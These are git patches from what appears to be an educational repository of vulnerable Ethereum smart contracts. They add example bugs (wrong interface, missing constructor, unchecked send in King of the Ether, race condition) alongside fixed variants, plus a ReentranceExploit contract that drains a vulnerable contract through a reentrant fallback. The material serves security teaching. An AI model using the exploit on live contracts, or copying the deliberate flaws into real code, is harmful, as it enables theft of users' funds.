'0x6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029' +var abiAlice = [{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] + +var bytecodeBob = '0x6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029' +var abiBob = [{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] + +var contractAlice = eth.contract(abiAlice); +var txDeployAlice = {from:eth.coinbase, data: bytecodeAlice, gas: 1000000}; +var contractPartialInstanceAlice = contractAlice.new(txDeployAlice); + +// Wait to mine the block containing the transaction + +var alice = contractAlice.at(contractPartialInstanceAlice.address); + +var contractBob = eth.contract(abiBob); +var txDeployBob = {from:eth.coinbase, data: bytecodeBob, gas: 1000000}; +var contractPartialInstanceBob = contractBob.new(txDeployBob); + +// Wait to mine the block containing the transaction + +var bob = contractBob.at(contractPartialInstanceBob.address); + +// From now, wait for each transaction to be mined before calling +// the others transactions + +// print the default value of val: 0 +alice.val() + +// call bob.set, as the interface is wrong, it will call +// the fallback function of alice +bob.set(alice.address, {from: eth.accounts[0]} ) +// print val: 1 +alice.val() + +// call the fixed version of the interface +bob.set_fixed(alice.address, {from: eth.accounts[0]} ) +// print val: 42 +alice.val() +``` + + From 86000677b114b4d83aa8d103a9e9547b94e0f178 Mon Sep 17 00:00:00 2001 From: Josselin Date: Tue, 29 Aug 2017 10:10:15 +0100 Subject: [PATCH 03/73] Minor modifs in Readme(s) --- missing_constructor/README.md | 5 +++-- wrong_interface/README.md | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/missing_constructor/README.md b/missing_constructor/README.md index 704d869f..dee190c6 100644 --- a/missing_constructor/README.md +++ b/missing_constructor/README.md @@ -1,10 +1,11 @@ -# Unprotected function +# Missing constructor ## Principle: - Wrong constructor name ## Attack -Anyone can call the function that was suppose to be the constructor, and changes the related state variables. +Anyone can call the function that was supposed to be the constructor. +As a result anyone can change the state variables initialized in this function. ## Known exploit [Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) diff --git a/wrong_interface/README.md b/wrong_interface/README.md index e143197d..dc1d1ca4 100644 --- a/wrong_interface/README.md +++ b/wrong_interface/README.md @@ -4,8 +4,9 @@ - Wrong contract interface ## Detail -The interface is wrongly define. `Alice.set(uint)` takes an `uint` in `Bob.sol` and `Alice.set(int)` in `Alice.sol`. -The id of the method from bob will be wrong, as a result bob will call the fallback function of alice. +The interface is wrongly define. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. +The two interface will produces two differents method ids. +As a result bob will call the fallback function of alice, instead of `set`. ## Running example First, get the bytecode and the abi of the contracts: From 5f20de6f8d0c7e460e1fbc7c4ed2057895d68031 Mon Sep 17 00:00:00 2001 From: Josselin Date: Thu, 7 Sep 2017 09:16:08 +0100 Subject: [PATCH 04/73] Improve reentrancy example --- reentrancy/Reentrancy.sol | 9 ++++++++- reentrancy/ReentrancyExploit.sol | 32 ++++++++++++++++++-------------- 2 files changed, 26 insertions(+), 15 deletions(-) diff --git a/reentrancy/Reentrancy.sol b/reentrancy/Reentrancy.sol index ce547e4a..26ea2cbb 100644 --- a/reentrancy/Reentrancy.sol +++ b/reentrancy/Reentrancy.sol @@ -12,6 +12,8 @@ contract Reentrance { } function withdrawBalance(){ + // send userBalance[msg.sender] ethers to msg.sender + // if mgs.sender is a contract, it will call its fallback function if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){ throw; } @@ -19,6 +21,8 @@ contract Reentrance { } function withdrawBalance_fixed(){ + // to protect against re-entrancy, the state variable + // has to be change before the call uint amount = userBalance[msg.sender]; userBalance[msg.sender] = 0; if( ! (msg.sender.call.value(amount)() ) ){ @@ -27,7 +31,10 @@ contract Reentrance { } function withdrawBalance_fixed_2(){ - // transfer is safe against reentrancy + // send() and transfer() are safe against reentrancy + // they do not transfer the remaining gas + // and they give just enough gas to execute few instructions + // in the fallback function (no further call possible) msg.sender.transfer(userBalance[msg.sender]); userBalance[msg.sender] = 0; } diff --git a/reentrancy/ReentrancyExploit.sol b/reentrancy/ReentrancyExploit.sol index c489698c..160c8535 100644 --- a/reentrancy/ReentrancyExploit.sol +++ b/reentrancy/ReentrancyExploit.sol @@ -1,38 +1,42 @@ pragma solidity ^0.4.15; -contract Reentrace{ - function getBalance(address) constant returns(uint); - function addToBalance() payable; - function withdrawBalance(); -} - contract ReentranceExploit { bool public attackModeIsOn=false; int public was_here=0; int public and_here=0; int public depook=0; - address public r; + address public vulnerable_contract; + address public owner; + + function ReentranceExploit(){ + owner = msg.sender; + } - function deposit(address r_){ - r = r_ ; - r.call.value(500000000000000000)(bytes4(sha3("addToBalance()"))); + function deposit(address _vulnerable_contract) payable{ + vulnerable_contract = _vulnerable_contract ; + // call addToBalance with msg.value ethers + vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))); } function launch_attack(){ attackModeIsOn = true; - r.call(bytes4(sha3("withdrawBalance()"))); + // call withdrawBalance + // withdrawBalance calls the fallback of ReentranceExploit + vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))); } function () payable{ + // atackModeIsOn is used to execute the attack only once + // otherwise there is a loop between withdrawBalance and the fallback function if (attackModeIsOn){ attackModeIsOn = false; - r.call(bytes4(sha3("withdrawBalance()"))); + vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))); } } - function get_money(address a){ - suicide(a); + function get_money(){ + suicide(owner); } } From 6f1ec23d5971cf2a33c66e36ea15a2e61c396f9e Mon Sep 17 00:00:00 2001 From: bohendo Date: Thu, 12 Oct 2017 16:08:15 +0900 Subject: [PATCH 05/73] Make titles consistent We don't use the word 'vulerability' in the other titles; it is assumed --- reentrancy/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reentrancy/README.md b/reentrancy/README.md index c6c3d954..07773617 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -1,4 +1,4 @@ -# Re-entrancy vulnerability +# Re-entrancy ## Principle: - A state variable is changed after a call to `send` / `call.value` From 7f1374e20a94276d5e1672284f447b0586fa1de0 Mon Sep 17 00:00:00 2001 From: bohendo Date: Thu, 12 Oct 2017 16:22:05 +0900 Subject: [PATCH 06/73] Add unchecked external call Initial work on #4 --- .../KingOfTheEtherThrone.sol | 169 ++++++++++++++++++ unchecked_external_call/README.md | 22 +++ 2 files changed, 191 insertions(+) create mode 100644 unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol create mode 100644 unchecked_external_call/README.md diff --git a/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol b/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol new file mode 100644 index 00000000..e666e949 --- /dev/null +++ b/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol @@ -0,0 +1,169 @@ +// A chain-game contract that maintains a 'throne' which agents may pay to rule. +// See www.kingoftheether.com & https://github.com/kieranelby/KingOfTheEtherThrone . +// (c) Kieran Elby 2016. All rights reserved. +// v0.4.0. +// Inspired by ethereumpyramid.com and the (now-gone?) "magnificent bitcoin gem". + +// This contract lives on the blockchain at 0xb336a86e2feb1e87a328fcb7dd4d04de3df254d0 +// and was compiled (using optimization) with: +// Solidity version: 0.2.1-fad2d4df/.-Emscripten/clang/int linked to libethereum + +// For future versions it would be nice to ... +// TODO - enforce time-limit on reign (can contracts do that without external action)? +// TODO - add a random reset? +// TODO - add bitcoin bridge so agents can pay in bitcoin? +// TODO - maybe allow different return payment address? + +contract KingOfTheEtherThrone { + + struct Monarch { + // Address to which their compensation will be sent. + address etherAddress; + // A name by which they wish to be known. + // NB: Unfortunately "string" seems to expose some bugs in web3. + string name; + // How much did they pay to become monarch? + uint claimPrice; + // When did their rule start (based on block.timestamp)? + uint coronationTimestamp; + } + + // The wizard is the hidden power behind the throne; they + // occupy the throne during gaps in succession and collect fees. + address wizardAddress; + + // Used to ensure only the wizard can do some things. + modifier onlywizard { if (msg.sender == wizardAddress) _ } + + // How much must the first monarch pay? + uint constant startingClaimPrice = 100 finney; + + // The next claimPrice is calculated from the previous claimFee + // by multiplying by claimFeeAdjustNum and dividing by claimFeeAdjustDen - + // for example, num=3 and den=2 would cause a 50% increase. + uint constant claimPriceAdjustNum = 3; + uint constant claimPriceAdjustDen = 2; + + // How much of each claimFee goes to the wizard (expressed as a fraction)? + // e.g. num=1 and den=100 would deduct 1% for the wizard, leaving 99% as + // the compensation fee for the usurped monarch. + uint constant wizardCommissionFractionNum = 1; + uint constant wizardCommissionFractionDen = 100; + + // How much must an agent pay now to become the monarch? + uint public currentClaimPrice; + + // The King (or Queen) of the Ether. + Monarch public currentMonarch; + + // Earliest-first list of previous throne holders. + Monarch[] public pastMonarchs; + + // Create a new throne, with the creator as wizard and first ruler. + // Sets up some hopefully sensible defaults. + function KingOfTheEtherThrone() { + wizardAddress = msg.sender; + currentClaimPrice = startingClaimPrice; + currentMonarch = Monarch( + wizardAddress, + "[Vacant]", + 0, + block.timestamp + ); + } + + function numberOfMonarchs() constant returns (uint n) { + return pastMonarchs.length; + } + + // Fired when the throne is claimed. + // In theory can be used to help build a front-end. + event ThroneClaimed( + address usurperEtherAddress, + string usurperName, + uint newClaimPrice + ); + + // Fallback function - simple transactions trigger this. + // Assume the message data is their desired name. + function() { + claimThrone(string(msg.data)); + } + + // Claim the throne for the given name by paying the currentClaimFee. + function claimThrone(string name) { + + uint valuePaid = msg.value; + + // If they paid too little, reject claim and refund their money. + if (valuePaid < currentClaimPrice) { + msg.sender.send(valuePaid); + return; + } + + // If they paid too much, continue with claim but refund the excess. + if (valuePaid > currentClaimPrice) { + uint excessPaid = valuePaid - currentClaimPrice; + msg.sender.send(excessPaid); + valuePaid = valuePaid - excessPaid; + } + + // The claim price payment goes to the current monarch as compensation + // (with a commission held back for the wizard). We let the wizard's + // payments accumulate to avoid wasting gas sending small fees. + + uint wizardCommission = (valuePaid * wizardCommissionFractionNum) / wizardCommissionFractionDen; + + uint compensation = valuePaid - wizardCommission; + + if (currentMonarch.etherAddress != wizardAddress) { + currentMonarch.etherAddress.send(compensation); + } else { + // When the throne is vacant, the fee accumulates for the wizard. + } + + // Usurp the current monarch, replacing them with the new one. + pastMonarchs.push(currentMonarch); + currentMonarch = Monarch( + msg.sender, + name, + valuePaid, + block.timestamp + ); + + // Increase the claim fee for next time. + // Stop number of trailing decimals getting silly - we round it a bit. + uint rawNewClaimPrice = currentClaimPrice * claimPriceAdjustNum / claimPriceAdjustDen; + if (rawNewClaimPrice < 10 finney) { + currentClaimPrice = rawNewClaimPrice; + } else if (rawNewClaimPrice < 100 finney) { + currentClaimPrice = 100 szabo * (rawNewClaimPrice / 100 szabo); + } else if (rawNewClaimPrice < 1 ether) { + currentClaimPrice = 1 finney * (rawNewClaimPrice / 1 finney); + } else if (rawNewClaimPrice < 10 ether) { + currentClaimPrice = 10 finney * (rawNewClaimPrice / 10 finney); + } else if (rawNewClaimPrice < 100 ether) { + currentClaimPrice = 100 finney * (rawNewClaimPrice / 100 finney); + } else if (rawNewClaimPrice < 1000 ether) { + currentClaimPrice = 1 ether * (rawNewClaimPrice / 1 ether); + } else if (rawNewClaimPrice < 10000 ether) { + currentClaimPrice = 10 ether * (rawNewClaimPrice / 10 ether); + } else { + currentClaimPrice = rawNewClaimPrice; + } + + // Hail the new monarch! + ThroneClaimed(currentMonarch.etherAddress, currentMonarch.name, currentClaimPrice); + } + + // Used only by the wizard to collect his commission. + function sweepCommission(uint amount) onlywizard { + wizardAddress.send(amount); + } + + // Used only by the wizard to collect his commission. + function transferOwnership(address newOwner) onlywizard { + wizardAddress = newOwner; + } + +} diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md new file mode 100644 index 00000000..df130d97 --- /dev/null +++ b/unchecked_external_call/README.md @@ -0,0 +1,22 @@ +# Unchecked External Call + +## Principle + +- Certain Solidity operations, known as "external calls", require the developer to manually ensure that the operation succeeded. This is in contrast to operations which throw an exception on failure. +- Contracts which use external calls and do not check for success will likely be buggy, and may also be exploitable. + +## Attack + +- A contract uses an unchecked `address.send()` external call to transfer Ether. +- An attacker can reliably can cause this external call to fail +- The consequences of this external call failing will be contract specific. + - In the case of the King of the Ether contract, this resulted in accidental loss of Ether for some contract users, due to refunds not being sent. + +## Known Exploit + +- [King of the Ether](https://www.kingoftheether.com/postmortem.html) + +## Further Resources + +- http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses +- https://github.com/ConsenSys/smart-contract-best-practices#handle-errors-in-external-calls From 1c0e2e347f452157321b50946c6e7bf40a463113 Mon Sep 17 00:00:00 2001 From: bohendo Date: Thu, 12 Oct 2017 16:24:20 +0900 Subject: [PATCH 07/73] Add links to lines of code --- unchecked_external_call/README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index df130d97..9db99a18 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -15,6 +15,10 @@ ## Known Exploit - [King of the Ether](https://www.kingoftheether.com/postmortem.html) + - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100 + - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107 + - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120 + - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161 ## Further Resources From 8562893fff74255ea5b8a183ae9f5ce7efca7c65 Mon Sep 17 00:00:00 2001 From: bohendo Date: Fri, 13 Oct 2017 14:03:43 +0900 Subject: [PATCH 08/73] Update README.md --- unchecked_external_call/README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index 9db99a18..3d990109 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -3,7 +3,8 @@ ## Principle - Certain Solidity operations, known as "external calls", require the developer to manually ensure that the operation succeeded. This is in contrast to operations which throw an exception on failure. -- Contracts which use external calls and do not check for success will likely be buggy, and may also be exploitable. +- If an external call fails, but is not checked, the contract will continue execution as if the call succeeded. +- This will likely result in buggy and potentially exploitable behavior from the contract. ## Attack @@ -14,11 +15,11 @@ ## Known Exploit -- [King of the Ether](https://www.kingoftheether.com/postmortem.html) - - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100 - - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107 - - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120 - - https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161 +- [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: + [100](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100), + [107](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107), + [120](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120), + [161](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161)) ## Further Resources From b9c064d74d1deb0e2ce28fae6ae183a38aa98dbd Mon Sep 17 00:00:00 2001 From: bohendo Date: Fri, 13 Oct 2017 14:29:32 +0900 Subject: [PATCH 09/73] Update README.md Start on #5 --- README.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c80b70e9..85c93124 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,12 @@ -# Solidity Vulnerabilities +# (Not So) Smart Contracts -Examples of common solidity vulnerabilities +This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. + +## Vulnerabilities + +- Integer Overflow +- Missing Constructor +- Reentrancy +- Unchecked External Call +- Unprotected Function +- Wrong Interface From 1fdd900630ea6c91703283683f30b036ee582719 Mon Sep 17 00:00:00 2001 From: bohendo Date: Fri, 13 Oct 2017 15:07:20 +0900 Subject: [PATCH 10/73] small edits --- unchecked_external_call/README.md | 3 ++- wrong_interface/README.md | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index 3d990109..d03713cd 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -9,7 +9,7 @@ ## Attack - A contract uses an unchecked `address.send()` external call to transfer Ether. -- An attacker can reliably can cause this external call to fail +- If it transfers Ether to an attacker contract, the attacker contract can reliably cause the external call to fail, for example, with a fallback function which intentionally runs out of gas. - The consequences of this external call failing will be contract specific. - In the case of the King of the Ether contract, this resulted in accidental loss of Ether for some contract users, due to refunds not being sent. @@ -23,5 +23,6 @@ ## Further Resources +- http://solidity.readthedocs.io/en/develop/security-considerations.html - http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses - https://github.com/ConsenSys/smart-contract-best-practices#handle-errors-in-external-calls diff --git a/wrong_interface/README.md b/wrong_interface/README.md index dc1d1ca4..d5ecbb14 100644 --- a/wrong_interface/README.md +++ b/wrong_interface/README.md @@ -4,7 +4,7 @@ - Wrong contract interface ## Detail -The interface is wrongly define. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. +The interface is wrongly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interface will produces two differents method ids. As a result bob will call the fallback function of alice, instead of `set`. From ae8d4193d3e646957fcab518d00f205776676108 Mon Sep 17 00:00:00 2001 From: Evan Sultanik Date: Fri, 13 Oct 2017 08:39:08 -0400 Subject: [PATCH 11/73] Added credits and contact info (#5) --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index 85c93124..3e6b03c0 100644 --- a/README.md +++ b/README.md @@ -10,3 +10,8 @@ This repository contains examples of common Ethereum smart contract vulnerabilit - Unchecked External Call - Unprotected Function - Wrong Interface + +## Credits + +These examples were developed and are maintained by [Trail of Bits](https://www.trailofbits.com/). +If you have questions, are experiencing problems, or just want to learn more and contribute, [please contact us](https://www.trailofbits.com/contact/). From 0b51260715ab3c774133942a91bf4598ecbb605a Mon Sep 17 00:00:00 2001 From: Josselin Date: Fri, 13 Oct 2017 16:50:58 +0200 Subject: [PATCH 12/73] Add race condition (#3) --- race_condition/README.md | 18 ++++++++++++ race_condition/RaceCondition.sol | 50 ++++++++++++++++++++++++++++++++ 2 files changed, 68 insertions(+) create mode 100644 race_condition/README.md create mode 100644 race_condition/RaceCondition.sol diff --git a/race_condition/README.md b/race_condition/README.md new file mode 100644 index 00000000..72380acb --- /dev/null +++ b/race_condition/README.md @@ -0,0 +1,18 @@ +# Race Condition + +## Principle: +- There is a gap between the creation of a transaction and the moment it is accepted in the blockchain +- An attacker can take advantage of this gap to put a contract in an unexpected state for a target + +## Example +- Bob creates `RaceCondition(100, token)` +- Alice trusts `RaceCondition` with all its tokens +- Alice calls `buy(150)` +- Bob sees the transaction, and calls `changePrice(300)` +- The transaction of Bob is mined before the one of Alice + +As a result, Bob received 300 tokens. + + +## Known exploit +ERC20 approve/transferFrom diff --git a/race_condition/RaceCondition.sol b/race_condition/RaceCondition.sol new file mode 100644 index 00000000..f1c20daf --- /dev/null +++ b/race_condition/RaceCondition.sol @@ -0,0 +1,50 @@ +pragma solidity ^0.4.16; + +// https://github.com/ethereum/EIPs/issues/20 +contract ERC20 { + function totalSupply() constant returns (uint totalSupply); + function balanceOf(address _owner) constant returns (uint balance); + function transfer(address _to, uint _value) returns (bool success); + function transferFrom(address _from, address _to, uint _value) returns (bool success); + function approve(address _spender, uint _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint remaining); + event Transfer(address indexed _from, address indexed _to, uint _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); +} + +contract RaceCondition{ + address private owner; + uint public price; + ERC20 token; + + function RaceCondition(uint _price, ERC20 _token) + public + { + owner = msg.sender; + price = _price; + token = _token; + } + + // If the owner sees someone calls buy + // he can call changePrice to set a new price + // If his transaction is mined first, he can + // receive more tokens than excepted by the new buyer + function buy(uint new_price) payable + public + { + require(msg.value >= price); + + // we assume that the RaceCondition contract + // has enough allowance + token.transferFrom(msg.sender, owner, price); + + price = new_price; + owner = msg.sender; + } + + function changePrice(uint new_price){ + require(msg.sender == owner); + price = new_price; + } + +} From 8818252c76008334da49a90df9276d17c9c9e6e0 Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Sun, 15 Oct 2017 15:04:43 -0400 Subject: [PATCH 13/73] README nitpics --- README.md | 5 +++-- integer_overflow/README.md | 4 +--- missing_constructor/README.md | 2 +- race_condition/README.md | 3 +-- reentrancy/README.md | 3 +-- unchecked_external_call/README.md | 10 +++++----- unprotected_function/README.md | 4 +--- 7 files changed, 13 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 3e6b03c0..7eada6a1 100644 --- a/README.md +++ b/README.md @@ -13,5 +13,6 @@ This repository contains examples of common Ethereum smart contract vulnerabilit ## Credits -These examples were developed and are maintained by [Trail of Bits](https://www.trailofbits.com/). -If you have questions, are experiencing problems, or just want to learn more and contribute, [please contact us](https://www.trailofbits.com/contact/). +These examples are developed and maintained by [Trail of Bits](https://www.trailofbits.com/). Contributions are encouraged and are covered under our [bounty program](https://github.com/trailofbits/not-so-smart-contracts/wiki#bounties). + +If you have questions, problems, or just want to learn more, then join the #ethereum channel on the [Empire Hacking Slack](https://empireslacking.herokuapp.com/) or [contact us](https://www.trailofbits.com/contact/) directly. diff --git a/integer_overflow/README.md b/integer_overflow/README.md index 78284a14..ca819900 100644 --- a/integer_overflow/README.md +++ b/integer_overflow/README.md @@ -1,9 +1,7 @@ # Integer overflow 1 -## Principle: +## Principle - Integer overflow possible on the function `add` ## Attack Once a first call have be made on `add` or `safe_add`, a call to `add` can trigger an integer overflow - - diff --git a/missing_constructor/README.md b/missing_constructor/README.md index dee190c6..e5887e78 100644 --- a/missing_constructor/README.md +++ b/missing_constructor/README.md @@ -1,6 +1,6 @@ # Missing constructor -## Principle: +## Principle - Wrong constructor name ## Attack diff --git a/race_condition/README.md b/race_condition/README.md index 72380acb..db20fdfb 100644 --- a/race_condition/README.md +++ b/race_condition/README.md @@ -1,6 +1,6 @@ # Race Condition -## Principle: +## Principle - There is a gap between the creation of a transaction and the moment it is accepted in the blockchain - An attacker can take advantage of this gap to put a contract in an unexpected state for a target @@ -13,6 +13,5 @@ As a result, Bob received 300 tokens. - ## Known exploit ERC20 approve/transferFrom diff --git a/reentrancy/README.md b/reentrancy/README.md index 07773617..f95ba03e 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -1,6 +1,6 @@ # Re-entrancy -## Principle: +## Principle - A state variable is changed after a call to `send` / `call.value` - The attacker uses the fallback function to execute again the vulnerable function before the state variable are changed @@ -9,4 +9,3 @@ See `RentrancyExploit.sol` to exploit the contract. ## Known exploit [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) - diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index d03713cd..bce8ef9b 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -16,12 +16,12 @@ ## Known Exploit - [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: - [100](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100), - [107](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107), - [120](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120), - [161](https://github.com/trailofbits/not-so-smart-contracts/blob/85fb77e4de3d1628e3509703cd2f60a7d055962c/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161)) + [100](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100), + [107](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107), + [120](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120), + [161](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161)) -## Further Resources +## References - http://solidity.readthedocs.io/en/develop/security-considerations.html - http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses diff --git a/unprotected_function/README.md b/unprotected_function/README.md index d5ff9199..64595bec 100644 --- a/unprotected_function/README.md +++ b/unprotected_function/README.md @@ -1,10 +1,8 @@ # Unprotected function -## Principle: +## Principle - Missing modifier on a sensitive function - ## Known exploit [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7) - See `initWallet` in `WalletLibrary_source_code/WalletLibrary.sol` - From c3f579942ffba64a95ae60ff6a0ef6fd677f2c1a Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Sun, 15 Oct 2017 16:00:16 -0400 Subject: [PATCH 14/73] correct path --- unchecked_external_call/README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index bce8ef9b..6b57f63d 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -16,10 +16,10 @@ ## Known Exploit - [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: - [100](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L100), - [107](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L107), - [120](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L120), - [161](unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol#L161)) + [100](KotET_source_code/KingOfTheEtherThrone.sol#L100), + [107](KotET_source_code/KingOfTheEtherThrone.sol#L107), + [120](KotET_source_code/KingOfTheEtherThrone.sol#L120), + [161](KotET_source_code/KingOfTheEtherThrone.sol#L161)) ## References From a47392bd6a2e8ec42ec7a754abb14e0a7d8d1b64 Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Sun, 15 Oct 2017 20:51:53 -0400 Subject: [PATCH 15/73] Create LICENSE --- LICENSE | 862 +++++++++++++------------------------------------------- 1 file changed, 201 insertions(+), 661 deletions(-) diff --git a/LICENSE b/LICENSE index be3f7b28..8dada3ed 100644 --- a/LICENSE +++ b/LICENSE @@ -1,661 +1,201 @@ - GNU AFFERO GENERAL PUBLIC LICENSE - Version 3, 19 November 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU Affero General Public License is a free, copyleft license for -software and 